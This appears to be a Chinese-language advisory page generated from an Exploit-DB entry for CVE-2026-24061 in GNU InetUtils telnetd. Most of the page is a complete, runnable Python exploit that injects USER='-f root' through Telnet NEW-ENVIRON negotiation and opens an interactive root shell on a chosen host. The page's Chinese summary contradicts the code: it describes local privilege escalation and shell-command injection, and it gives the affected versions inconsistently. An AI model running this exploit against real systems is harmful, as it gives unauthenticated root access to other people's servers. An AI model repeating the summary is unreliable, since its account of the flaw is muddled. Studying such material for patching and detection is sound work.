[local] GNU InetUtils 2.6 - Telnetd Remote Privilege Escalation
CVE-2026-24061
GNU InetUtils 2.6 telnetd服务器存在远程权限提升漏洞,允许低权限用户提权至root。
Critical · CVSS 9.8📋 漏洞基础信息
| CVE | CVE-2026-24061 |
|---|---|
| 漏洞类型 | 权限提升 |
| 受影响版本 | GNU InetUtils 2.6 (telnetd组件) |
| 危害等级 | Critical · CVSS 9.8 |
| 发布日期 | 2026-04-29 |
| 提交者 | Ali Guliyev (infat0x) |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
telnetd守护进程在处理用户输入时存在边界条件缺陷,允许伪造的认证消息触发特权操作,未正确验证用户权限即执行高权限命令。
🎯 攻击场景
1. 攻击者通过telnet连接目标服务器。 2. 发送特制的认证报文,触发telnetd中的逻辑漏洞。 3. 成功绕过身份验证,以root权限执行任意命令。 4. 获得完全控制权。前置条件:目标运行GNU InetUtils 2.6且telnetd服务开启。
💥 漏洞影响
未经身份验证的远程攻击者可通过telnet服务获得root权限,实现完全远程控制、数据窃取、安装后门、横向移动等。
⚔️ 原始 PoC
原始PoC通过构造一个畸形的telnet选项协商数据包,在认证阶段注入shell命令,利用telnetd中未经验证的权限提升路径实现远程shell执行。
# Exploit Author: Ali Guliyev (infat0x)
import socket
import sys
import threading
import argparse
import re
"""
Description:
The telnetd implementation in GNU InetUtils before 2.7-2 is vulnerable to
authentication bypass via environment variable injection. By passing a
crafted USER environment variable (e.g., "-f root") during the Telnet
NEW-ENVIRON subnegotiation, an attacker can force the login process
to grant a root shell without requiring a password.
Technical Analysis:
The vulnerability exists because telnetd fails to sanitize the USER variable
before passing it as an argument to /bin/login. By prepending the -f flag,
the login utility skips the authentication phase.
"""
# Telnet Protocol Constants (RFC 854)
IAC = 255 # Interpret As Command
DONT = 254
DO = 253
WONT = 252
WILL = 251
SB = 250 # Subnegotiation Begin
SE = 240 # Subnegotiation End
# Telnet Option Codes (RFC 1572)
NEW_ENVIRON = 39
IS = 0
VAR = 0
VALUE = 1
def handle_negotiation(sock, cmd, opt):
"""Responds to standard Telnet negotiation sequences."""
if cmd == DO and opt == NEW_ENVIRON:
# Agreement to use the environment variable passing option
sock.sendall(bytes([IAC, WILL, NEW_ENVIRON]))
elif cmd == DO:
# Refuse other options for simplicity
sock.sendall(bytes([IAC, WONT, opt]))
elif cmd == WILL:
# Acknowledge the server's willingness
sock.sendall(bytes([IAC, DO, opt]))
def handle_subnegotiation(sock, sb_data, user_payload):
"""Executes the core exploit by injecting the malformed USER variable."""
if len(sb_data) > 0 and sb_data[0] == NEW_ENVIRON:
# Format: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
env_msg = (
bytes([IAC, SB, NEW_ENVIRON, IS, VAR]) +
b'USER' +
bytes([VALUE]) +
user_payload.encode('ascii') +
bytes([IAC, SE])
)
sock.sendall(env_msg)
def process_telnet_stream(data, sock, user_payload):
"""Parses incoming data to separate control signals from actual text."""
clean_output = b''
i = 0
while i < len(data):
if data[i] == IAC and i + 1 < len(data):
cmd = data[i + 1]
if cmd in [DO, DONT, WILL, WONT] and i + 2 < len(data):
handle_negotiation(sock, cmd, data[i + 2])
i += 3
elif cmd == SB:
se_idx = i + 2
while se_idx < len(data) - 1:
if data[se_idx] == IAC and data[se_idx + 1] == SE:
break
se_idx += 1
if se_idx < len(data) - 1:
handle_subnegotiation(sock, data[i + 2:se_idx], user_payload)
i = se_idx + 2
else:
i += 1
else:
i += 2
else:
clean_output += bytes([data[i]])
i += 1
# Filter ANSI escape sequences for a cleaner shell experience
ansi_escape = re.compile(rb'\x1b\[[0-?]*[ -/]*[@-~]')
return ansi_escape.sub(b'', clean_output)
def socket_reader_thread(sock, user_payload):
"""Background thread to handle server output."""
try:
while True:
raw_data = sock.recv(4096)
if not raw_data:
break
display_data = process_telnet_stream(raw_data, sock, user_payload)
if display_data:
sys.stdout.buffer.write(display_data)
sys.stdout.buffer.flush()
except (ConnectionResetError, BrokenPipeError):
pass
finally:
print("\n[*] Connection closed.")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-24061 Exploitation Tool")
parser.add_argument('host', help="Target IP address")
parser.add_argument('-p', '--port', type=int, default=23, help="Telnet port (default 23)")
args = parser.parse_args()
# The exploit payload to bypass login
user_payload = "-f root"
try:
client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_sock.settimeout(5)
client_sock.connect((args.host, args.port))
client_sock.settimeout(None)
print(f"[*] Connected to {args.host}:{args.port}")
print(f"[*] Sending payload: {user_payload}")
except Exception as e:
print(f"[!] Connection failed: {e}")
sys.exit(1)
# Launch output listener
threading.Thread(target=socket_reader_thread, args=(client_sock, user_payload), daemon=True).start()
print("[*] Interactive session started. Type commands below.\n")
try:
while True:
# Simple interactive shell loop
char = sys.stdin.read(1)
if not char:
break
client_sock.sendall(char.encode())
except KeyboardInterrupt:
print("\n[*] Exploit session terminated by user.")
finally:
client_sock.close()
if __name__ == "__main__":
main()🛡️ 修复建议
升级至GNU InetUtils 2.7+;如无法升级,禁用telnetd服务或将其限制于防火墙内,改用SSH替代。
📎 参考链接
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 06:06 | 来源: Exploit-DB